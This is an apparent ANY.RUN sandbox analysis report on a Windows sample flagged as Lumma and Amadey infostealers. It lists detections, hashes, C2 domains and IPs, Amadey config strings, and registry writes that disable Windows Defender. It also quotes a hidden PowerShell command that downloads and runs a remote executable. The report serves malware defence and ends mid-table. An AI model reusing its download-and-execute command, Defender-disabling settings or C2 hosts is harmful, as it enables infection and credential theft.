File name:

37d87bfc0008f2a3dca742aac12a4b97.exe

Full analysis: https://app.any.run/tasks/420f66e5-1360-4ffc-8a83-535e83f4e514
Verdict: Malicious activity
Threats:

Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks.

Malware Trends Tracker     >>>
Analysis date: April 29, 2025, 06:05:17
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
lumma
stealer
loader
themida
auto
botnet
amadey
auto-reg
credentialflusher
auto-sch
rdp
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386, for MS Windows, 7 sections
MD5:

37D87BFC0008F2A3DCA742AAC12A4B97

SHA1:

79C5DC86C0ECE1486550F91456564BC369C1C8DF

SHA256:

1AE0E18E2B5021AC1F5A8A2AE0041BF33FB46ECB2FF465F1A96807634A3ACAE3

SSDEEP:

98304:P++Mfmz4F6zxOmKkN2lrr+gEz7a/peiSYCzh5n0pdQwc4rr8kORxiypkHsjBnfbn:xBst/

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • LUMMA has been detected (SURICATA)

      • svchost.exe (PID: 2196)

    • Actions looks like stealing of personal data

      • 37d87bfc0008f2a3dca742aac12a4b97.exe (PID: 6516)
      • 384d5f4221.exe (PID: 7436)
      • 384d5f4221.exe (PID: 7620)

    • LUMMA mutex has been found

      • 37d87bfc0008f2a3dca742aac12a4b97.exe (PID: 6516)
      • 384d5f4221.exe (PID: 7436)
      • 384d5f4221.exe (PID: 7620)

    • LUMMA has been detected (YARA)

      • 37d87bfc0008f2a3dca742aac12a4b97.exe (PID: 6516)

    • Connects to the CnC server

      • svchost.exe (PID: 2196)
      • saved.exe (PID: 7364)

    • AMADEY has been found (auto)

      • 37d87bfc0008f2a3dca742aac12a4b97.exe (PID: 6516)
      • 11MWTVBGH5SGZO9W9WYZAJ6VFZX.exe (PID: 7288)
      • 384d5f4221.exe (PID: 7436)
      • 384d5f4221.exe (PID: 7620)
      • powershell.exe (PID: 960)
      • powershell.exe (PID: 7892)
      • powershell.exe (PID: 8136)
      • powershell.exe (PID: 4008)

    • AMADEY has been detected (SURICATA)

      • saved.exe (PID: 7364)

    • Changes the autorun value in the registry

      • saved.exe (PID: 7364)

    • AMADEY has been detected (YARA)

      • saved.exe (PID: 7364)

    • Disables Windows Defender

      • 8c0ecb66fa.exe (PID: 7828)

    • Possible tool for stealing has been detected

      • 427346fbaf.exe (PID: 8128)
      • firefox.exe (PID: 3268)
      • 427346fbaf.exe (PID: 7632)
      • firefox.exe (PID: 2096)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 5084)
      • cmd.exe (PID: 7468)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 960)
      • powershell.exe (PID: 4008)
      • powershell.exe (PID: 7892)
      • powershell.exe (PID: 8136)

    • Changes the Windows auto-update feature

      • 8c0ecb66fa.exe (PID: 7828)

    • Request from PowerShell that ran from MSHTA.EXE

      • powershell.exe (PID: 960)
      • powershell.exe (PID: 7892)

    • Script downloads file (POWERSHELL)

      • powershell.exe (PID: 960)

  • SUSPICIOUS

    • Reads the BIOS version

      • 37d87bfc0008f2a3dca742aac12a4b97.exe (PID: 6516)
      • 384d5f4221.exe (PID: 7436)
      • 384d5f4221.exe (PID: 7620)
      • 8c0ecb66fa.exe (PID: 7828)

    • Contacting a server suspected of hosting an CnC

      • svchost.exe (PID: 2196)
      • saved.exe (PID: 7364)

    • Searches for installed software

      • 37d87bfc0008f2a3dca742aac12a4b97.exe (PID: 6516)
      • 384d5f4221.exe (PID: 7620)
      • 384d5f4221.exe (PID: 7436)

    • Connects to the server without a host name

      • 37d87bfc0008f2a3dca742aac12a4b97.exe (PID: 6516)
      • saved.exe (PID: 7364)
      • 384d5f4221.exe (PID: 7436)
      • 384d5f4221.exe (PID: 7620)
      • powershell.exe (PID: 960)
      • powershell.exe (PID: 7892)
      • powershell.exe (PID: 4008)
      • powershell.exe (PID: 8136)

    • Executable content was dropped or overwritten

      • 37d87bfc0008f2a3dca742aac12a4b97.exe (PID: 6516)
      • 11MWTVBGH5SGZO9W9WYZAJ6VFZX.exe (PID: 7288)
      • saved.exe (PID: 7364)
      • 384d5f4221.exe (PID: 7436)
      • 384d5f4221.exe (PID: 7620)
      • powershell.exe (PID: 960)
      • powershell.exe (PID: 7892)

    • Potential Corporate Privacy Violation

      • 37d87bfc0008f2a3dca742aac12a4b97.exe (PID: 6516)
      • saved.exe (PID: 7364)
      • 384d5f4221.exe (PID: 7436)
      • powershell.exe (PID: 960)
      • powershell.exe (PID: 4008)
      • powershell.exe (PID: 8136)
      • powershell.exe (PID: 7892)

    • Process requests binary or script from the Internet

      • 37d87bfc0008f2a3dca742aac12a4b97.exe (PID: 6516)
      • saved.exe (PID: 7364)
      • 384d5f4221.exe (PID: 7436)
      • 384d5f4221.exe (PID: 7620)
      • powershell.exe (PID: 960)
      • powershell.exe (PID: 7892)
      • powershell.exe (PID: 4008)
      • powershell.exe (PID: 8136)

    • Reads security settings of Internet Explorer

      • 11MWTVBGH5SGZO9W9WYZAJ6VFZX.exe (PID: 7288)
      • saved.exe (PID: 7364)

    • Starts itself from another location

      • 11MWTVBGH5SGZO9W9WYZAJ6VFZX.exe (PID: 7288)

    • There is functionality for enable RDP (YARA)

      • saved.exe (PID: 7364)

    • There is functionality for taking screenshot (YARA)

      • saved.exe (PID: 7364)

    • Uses TASKKILL.EXE to kill process

      • 427346fbaf.exe (PID: 8128)
      • 427346fbaf.exe (PID: 7632)

    • Uses TASKKILL.EXE to kill Browsers

      • 427346fbaf.exe (PID: 8128)
      • 427346fbaf.exe (PID: 7632)

    • Starts CMD.EXE for commands execution

      • 1a251b4d69.exe (PID: 7320)
      • 1a251b4d69.exe (PID: 7676)

    • Starts process via Powershell

      • powershell.exe (PID: 960)
      • powershell.exe (PID: 4008)
      • powershell.exe (PID: 7892)
      • powershell.exe (PID: 8136)

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 3180)
      • mshta.exe (PID: 6676)
      • mshta.exe (PID: 7240)
      • mshta.exe (PID: 4448)

    • Probably download files using WebClient

      • mshta.exe (PID: 3180)
      • mshta.exe (PID: 6676)
      • mshta.exe (PID: 7240)
      • mshta.exe (PID: 4448)

    • Manipulates environment variables

      • powershell.exe (PID: 960)
      • powershell.exe (PID: 4008)
      • powershell.exe (PID: 7892)
      • powershell.exe (PID: 8136)

    • Found IP address in command line

      • powershell.exe (PID: 960)
      • powershell.exe (PID: 4008)
      • powershell.exe (PID: 7892)
      • powershell.exe (PID: 8136)

    • The process executes via Task Scheduler

      • saved.exe (PID: 7496)
      • saved.exe (PID: 3020)

  • INFO

    • Reads the software policy settings

      • 37d87bfc0008f2a3dca742aac12a4b97.exe (PID: 6516)
      • 384d5f4221.exe (PID: 7436)
      • 384d5f4221.exe (PID: 7620)

    • Checks supported languages

      • 37d87bfc0008f2a3dca742aac12a4b97.exe (PID: 6516)
      • 11MWTVBGH5SGZO9W9WYZAJ6VFZX.exe (PID: 7288)
      • saved.exe (PID: 7364)
      • 384d5f4221.exe (PID: 7620)
      • 384d5f4221.exe (PID: 7436)
      • 427346fbaf.exe (PID: 8128)
      • 8c0ecb66fa.exe (PID: 7828)
      • 7GYHFA4MK4BINP7T6U9KK4236NEX.exe (PID: 728)
      • HWVNMG7EKQC3IZQY1GB360B2FXOCBP7.exe (PID: 7336)
      • 1a251b4d69.exe (PID: 7320)
      • 427346fbaf.exe (PID: 7632)
      • 1a251b4d69.exe (PID: 7676)
      • TempYNA7V7W1Q3OAIAXLQASRERPSRJSRJCN8.EXE (PID: 3300)
      • saved.exe (PID: 7496)

    • Reads the computer name

      • 37d87bfc0008f2a3dca742aac12a4b97.exe (PID: 6516)
      • 11MWTVBGH5SGZO9W9WYZAJ6VFZX.exe (PID: 7288)
      • saved.exe (PID: 7364)
      • 384d5f4221.exe (PID: 7436)
      • 384d5f4221.exe (PID: 7620)
      • 8c0ecb66fa.exe (PID: 7828)
      • 427346fbaf.exe (PID: 8128)
      • 1a251b4d69.exe (PID: 7320)
      • 427346fbaf.exe (PID: 7632)
      • 1a251b4d69.exe (PID: 7676)

    • Themida protector has been detected

      • 37d87bfc0008f2a3dca742aac12a4b97.exe (PID: 6516)
      • 8c0ecb66fa.exe (PID: 7828)

    • Create files in a temporary directory

      • 37d87bfc0008f2a3dca742aac12a4b97.exe (PID: 6516)
      • 11MWTVBGH5SGZO9W9WYZAJ6VFZX.exe (PID: 7288)
      • saved.exe (PID: 7364)
      • 384d5f4221.exe (PID: 7436)
      • 384d5f4221.exe (PID: 7620)
      • 1a251b4d69.exe (PID: 7320)
      • 1a251b4d69.exe (PID: 7676)

    • Creates files or folders in the user directory

      • saved.exe (PID: 7364)

    • Process checks computer location settings

      • 11MWTVBGH5SGZO9W9WYZAJ6VFZX.exe (PID: 7288)
      • saved.exe (PID: 7364)

    • Checks proxy server information

      • saved.exe (PID: 7364)
      • powershell.exe (PID: 960)

    • Manual execution by a user

      • 384d5f4221.exe (PID: 7620)
      • 8c0ecb66fa.exe (PID: 8028)
      • 427346fbaf.exe (PID: 7632)
      • mshta.exe (PID: 6676)
      • 1a251b4d69.exe (PID: 7676)
      • mshta.exe (PID: 4448)

    • Auto-launch of the file from Registry key

      • saved.exe (PID: 7364)

    • The sample compiled with english language support

      • saved.exe (PID: 7364)

    • Reads mouse settings

      • 427346fbaf.exe (PID: 8128)
      • 1a251b4d69.exe (PID: 7320)
      • 427346fbaf.exe (PID: 7632)
      • 1a251b4d69.exe (PID: 7676)

    • Application launched itself

      • firefox.exe (PID: 3268)
      • firefox.exe (PID: 5332)
      • firefox.exe (PID: 2096)
      • firefox.exe (PID: 6660)

    • Auto-launch of the file from Task Scheduler

      • cmd.exe (PID: 5084)
      • cmd.exe (PID: 7468)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 3180)
      • mshta.exe (PID: 6676)
      • mshta.exe (PID: 7240)

    • Disables trace logs

      • powershell.exe (PID: 960)

    • The executable file from the user directory is run by the Powershell process

      • TempYNA7V7W1Q3OAIAXLQASRERPSRJSRJCN8.EXE (PID: 3300)
      • TempYNA7V7W1Q3OAIAXLQASRERPSRJSRJCN8.EXE (PID: 2192)
      • TempAT3237DHRGV2SBXCFHZ1WZQLECWCSCPF.EXE (PID: 1748)
      • TempAT3237DHRGV2SBXCFHZ1WZQLECWCSCPF.EXE (PID: 7920)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Lumma

(PID) Process(6516) 37d87bfc0008f2a3dca742aac12a4b97.exe
C2 (9)parakehjet.run/kewk
buzzarddf.live/ktnt
zenithcorde.top/auid
bearjk.live/benj
techguidet.digital/apdo
techsyncq.run/riid
btcgeared.live/lbak
clarmodq.top/qoxo
fishgh.digital/tequ

Amadey

(PID) Process(7364) saved.exe
C2185.39.17.163
URLhttp://185.39.17.163/Su8kud7i/index.php
Version5.34
Options
Drop directoryc13dbdc4fa
Drop namesaved.exe
Strings (125)S-%lu-
og:
clip.dll
ProgramData\
shell32.dll
<c>
vs:
Programs
&&
VideoID
ESET
av:
\App
0000043f
Doctor Web
:::
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
------
rundll32.exe
00000422
185.39.17.163
0123456789
st=s
00000419
Content-Type: application/x-www-form-urlencoded
/Plugins/
msi
ar:
GetNativeSystemInfo
Norton
-%lu
Sophos
zip
SOFTWARE\Microsoft\Windows NT\CurrentVersion
" Content-Type: application/octet-stream
|
+++
" && ren
pc:
#
d1
cmd /C RMDIR /s/q
Bitdefender
Comodo
<d>
Kaspersky Lab
DefaultSettings.YResolution
Main
c13dbdc4fa
-executionpolicy remotesigned -File "
&& Exit"
ProductName
&unit=
2022
Panda Security
=
Rem
cmd
\0000
id:
sd:
--
/quiet
rundll32
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
%-lu
random
GET
"taskkill /f /im "
Content-Disposition: form-data; name="data"; filename="
00000423
5.34
2016
?scr=1
ComputerName
Keyboard Layout\Preload
Powershell.exe
POST
http://
AVAST Software
SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
ps1
DefaultSettings.XResolution
Startup
CurrentBuild
e3
cred.dll|clip.dll|
------
WinDefender
wb
https://
Avira
2025
" && timeout 1 && del
cred.dll
un:
SYSTEM\ControlSet001\Services\BasicDisplay\Video
rb
SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
360TotalSecurity
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
saved.exe
e1
lv:
/Su8kud7i/index.php
shutdown -s -t 0
/k
e2
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
exe
%USERPROFILE%
-unicode-
r=
.jpg
dll
Content-Type: multipart/form-data; boundary=----
2019
bi:
\
"
kernel32.dll
os:
abcdefghijklmnopqrstuvwxyz0123456789-_
dm:
AVG
No Malware configuration.

TRiD

.exe | Generic Win/DOS Executable (50)
.exe | DOS Executable Generic (49.9)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2025:04:26 14:47:23+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14
CodeSize: 312320
InitializedDataSize: 38400
UninitializedDataSize: -
EntryPoint: 0x49b000
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
213
Monitored processes
85
Malicious processes
19
Suspicious processes
2

Behavior graph

Click at the process to see the details
start #LUMMA 37d87bfc0008f2a3dca742aac12a4b97.exe #LUMMA svchost.exe sppextcomobj.exe no specs slui.exe #AMADEY 11mwtvbgh5sgzo9w9wyzaj6vfzx.exe #AMADEY saved.exe #LUMMA 384d5f4221.exe #LUMMA 384d5f4221.exe 8c0ecb66fa.exe no specs 8c0ecb66fa.exe 8c0ecb66fa.exe no specs #CREDENTIALFLUSHER 427346fbaf.exe no specs 7gyhfa4mk4binp7t6u9kk4236nex.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs #CREDENTIALFLUSHER firefox.exe no specs firefox.exe hwvnmg7ekqc3izqy1gb360b2fxocbp7.exe no specs firefox.exe no specs firefox.exe no specs 1a251b4d69.exe no specs cmd.exe no specs mshta.exe no specs conhost.exe no specs schtasks.exe no specs firefox.exe no specs firefox.exe no specs #AMADEY powershell.exe conhost.exe no specs firefox.exe no specs firefox.exe no specs #CREDENTIALFLUSHER 427346fbaf.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs taskkill.exe no specs conhost.exe no specs firefox.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs #CREDENTIALFLUSHER firefox.exe no specs firefox.exe firefox.exe no specs firefox.exe no specs mshta.exe no specs #AMADEY powershell.exe conhost.exe no specs firefox.exe no specs tempyna7v7w1q3oaiaxlqasrerpsrjsrjcn8.exe no specs 1a251b4d69.exe no specs cmd.exe no specs mshta.exe no specs conhost.exe no specs schtasks.exe no specs #AMADEY powershell.exe conhost.exe no specs firefox.exe no specs saved.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs tempat3237dhrgv2sbxcfhz1wzqlecwcscpf.exe no specs mshta.exe no specs tempyna7v7w1q3oaiaxlqasrerpsrjsrjcn8.exe no specs #AMADEY powershell.exe conhost.exe no specs tempat3237dhrgv2sbxcfhz1wzqlecwcscpf.exe no specs slui.exe no specs saved.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
728"C:\Users\admin\AppData\Local\Temp\7GYHFA4MK4BINP7T6U9KK4236NEX.exe"C:\Users\admin\AppData\Local\Temp\7GYHFA4MK4BINP7T6U9KK4236NEX.exe—384d5f4221.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\7gyhfa4mk4binp7t6u9kk4236nex.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
856"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2516 -childID 1 -isForBrowser -prefsHandle 2816 -prefMapHandle 2840 -prefsLen 26783 -prefMapSize 244583 -jsInitHandle 1292 -jsInitLen 235124 -parentBuildID 20240213221259 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {370c84eb-e29e-48a5-8dcd-5de891aae876} 6660 "\\.\pipe\gecko-crash-server-pipe.6660" 1e9042b6150 tabC:\Program Files\Mozilla Firefox\firefox.exe—firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
MEDIUM
Description:
Firefox
Version:
123.0
Modules
Images
c:\program files\mozilla firefox\firefox.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\msvcp140.dll
c:\windows\system32\vcruntime140.dll
960"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YNA7V7W1Q3OAIAXLQASRERPSRJSRJCN8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.39.17.162/testmine/random.exe',$d);Start-Process $d;C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
1052taskkill /F /IM chrome.exe /TC:\Windows\SysWOW64\taskkill.exe—427346fbaf.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\taskkill.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\advapi32.dll
1116\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1228taskkill /F /IM msedge.exe /TC:\Windows\SysWOW64\taskkill.exe—427346fbaf.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\taskkill.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\advapi32.dll
1240C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
1276\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—taskkill.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1300taskkill /F /IM firefox.exe /TC:\Windows\SysWOW64\taskkill.exe—427346fbaf.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\taskkill.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
c:\windows\syswow64\msvcrt.dll
1748"C:\Users\admin\AppData\Local\TempAT3237DHRGV2SBXCFHZ1WZQLECWCSCPF.EXE" C:\Users\admin\AppData\Local\TempAT3237DHRGV2SBXCFHZ1WZQLECWCSCPF.EXE—powershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\tempat3237dhrgv2sbxcfhz1wzqlecwcscpf.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\user32.dll
c:\windows\syswow64\win32u.dll
Total events
54 702
Read events
54 653
Write events
49
Delete events
0

Modification events

(PID) Process:(7364) saved.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(7364) saved.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(7364) saved.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(7364) saved.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:384d5f4221.exe
Value:
C:\Users\admin\AppData\Local\Temp\10053430101\384d5f4221.exe
(PID) Process:(7364) saved.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:8c0ecb66fa.exe
Value:
C:\Users\admin\AppData\Local\Temp\10053440101\8c0ecb66fa.exe
(PID) Process:(7828) 8c0ecb66fa.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features
Operation:writeName:TamperProtection
Value:
0
(PID) Process:(7828) 8c0ecb66fa.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
Operation:writeName:DisableAntiSpyware
Value:
1
(PID) Process:(7828) 8c0ecb66fa.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
Operation:writeName:DisableBehaviorMonitoring
Value:
1
(PID) Process:(7828) 8c0ecb66fa.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
Operation:writeName:DisableIOAVProtection
Value:
1
(PID) Process:(7828) 8c0ecb66fa.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
Operation:writeName:DisableOnAccessProtection
Value:
1
Executable files
14
Suspicious files
165
Text files
33
Unknown types
3

Dropped files

PID
Process
Filename
Type
5332firefox.exeC:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\9kie7cg6.default-release\startupCache\scriptCache-current.bin —
MD5:—
SHA256:—
651637d87bfc0008f2a3dca742aac12a4b97.exeC:\Users\admin\AppData\Local\Temp\11MWTVBGH5SGZO9W9WYZAJ6VFZX.exeexecutable
MD5:F6C20A18AFEAC04964A6CCAD6BE59731
SHA256:CE75F9DEDE6D4E93549D35B816898113B6BEFAB9EF0AADF8949D4887C2C34BEA
728811MWTVBGH5SGZO9W9WYZAJ6VFZX.exeC:\Windows\Tasks\saved.jobbinary
MD5:B4CC85C577CEDDAD7B4B0A35C5A24531
SHA256:31F008F59F4E11A43A69BA05750198A727C7E286AFB27070E78E3BDF6BE2C61C
7364saved.exeC:\Users\admin\AppData\Local\Temp\10053450101\427346fbaf.exeexecutable
MD5:468BDF7A012679881F2335E93C9836CB
SHA256:1368877C74061F3166480FAAD212C62074E917F31ED9352F28D36D30E26AE0DC
7436384d5f4221.exeC:\Users\admin\AppData\Local\Temp\7GYHFA4MK4BINP7T6U9KK4236NEX.exeexecutable
MD5:F6C20A18AFEAC04964A6CCAD6BE59731
SHA256:CE75F9DEDE6D4E93549D35B816898113B6BEFAB9EF0AADF8949D4887C2C34BEA
728811MWTVBGH5SGZO9W9WYZAJ6VFZX.exeC:\Users\admin\AppData\Local\Temp\c13dbdc4fa\saved.exeexecutable
MD5:F6C20A18AFEAC04964A6CCAD6BE59731
SHA256:CE75F9DEDE6D4E93549D35B816898113B6BEFAB9EF0AADF8949D4887C2C34BEA
7364saved.exeC:\Users\admin\AppData\Local\Temp\10053430101\384d5f4221.exeexecutable
MD5:1BAE0DAB5C42DFE20D6A315C0490B513
SHA256:BB760E8484ADB256EB5EE807AD3585283E3454971AEDDBAFD02FAF816346F22C
7364saved.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\random[2].exeexecutable
MD5:C26F5B3A535624ADED99E4355236CD44
SHA256:24B769CFC837DCB73FFA2319D43961F023D1F01AD311C1FDAEB4BAF0C7EC3EAE
5332firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\cookies.sqlite-shmbinary
MD5:B7C14EC6110FA820CA6B65F5AEC85911
SHA256:FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
5332firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\sessionCheckpoints.json.tmpbinary
MD5:EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA256:792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
64
TCP/UDP connections
140
DNS requests
133
Threats
51

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
2.16.164.72:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6516
37d87bfc0008f2a3dca742aac12a4b97.exe
GET
200
185.39.17.162:80
http://185.39.17.162/mine/random.exe
unknown
—
—
malicious
7364
saved.exe
POST
200
185.39.17.163:80
http://185.39.17.163/Su8kud7i/index.php
unknown
—
—
malicious
7364
saved.exe
POST
200
185.39.17.163:80
http://185.39.17.163/Su8kud7i/index.php
unknown
—
—
malicious
7364
saved.exe
POST
200
185.39.17.163:80
http://185.39.17.163/Su8kud7i/index.php
unknown
—
—
malicious
7364
saved.exe
GET
200
185.39.17.162:80
http://185.39.17.162/off/random.exe
unknown
—
—
malicious
7364
saved.exe
GET
200
185.39.17.162:80
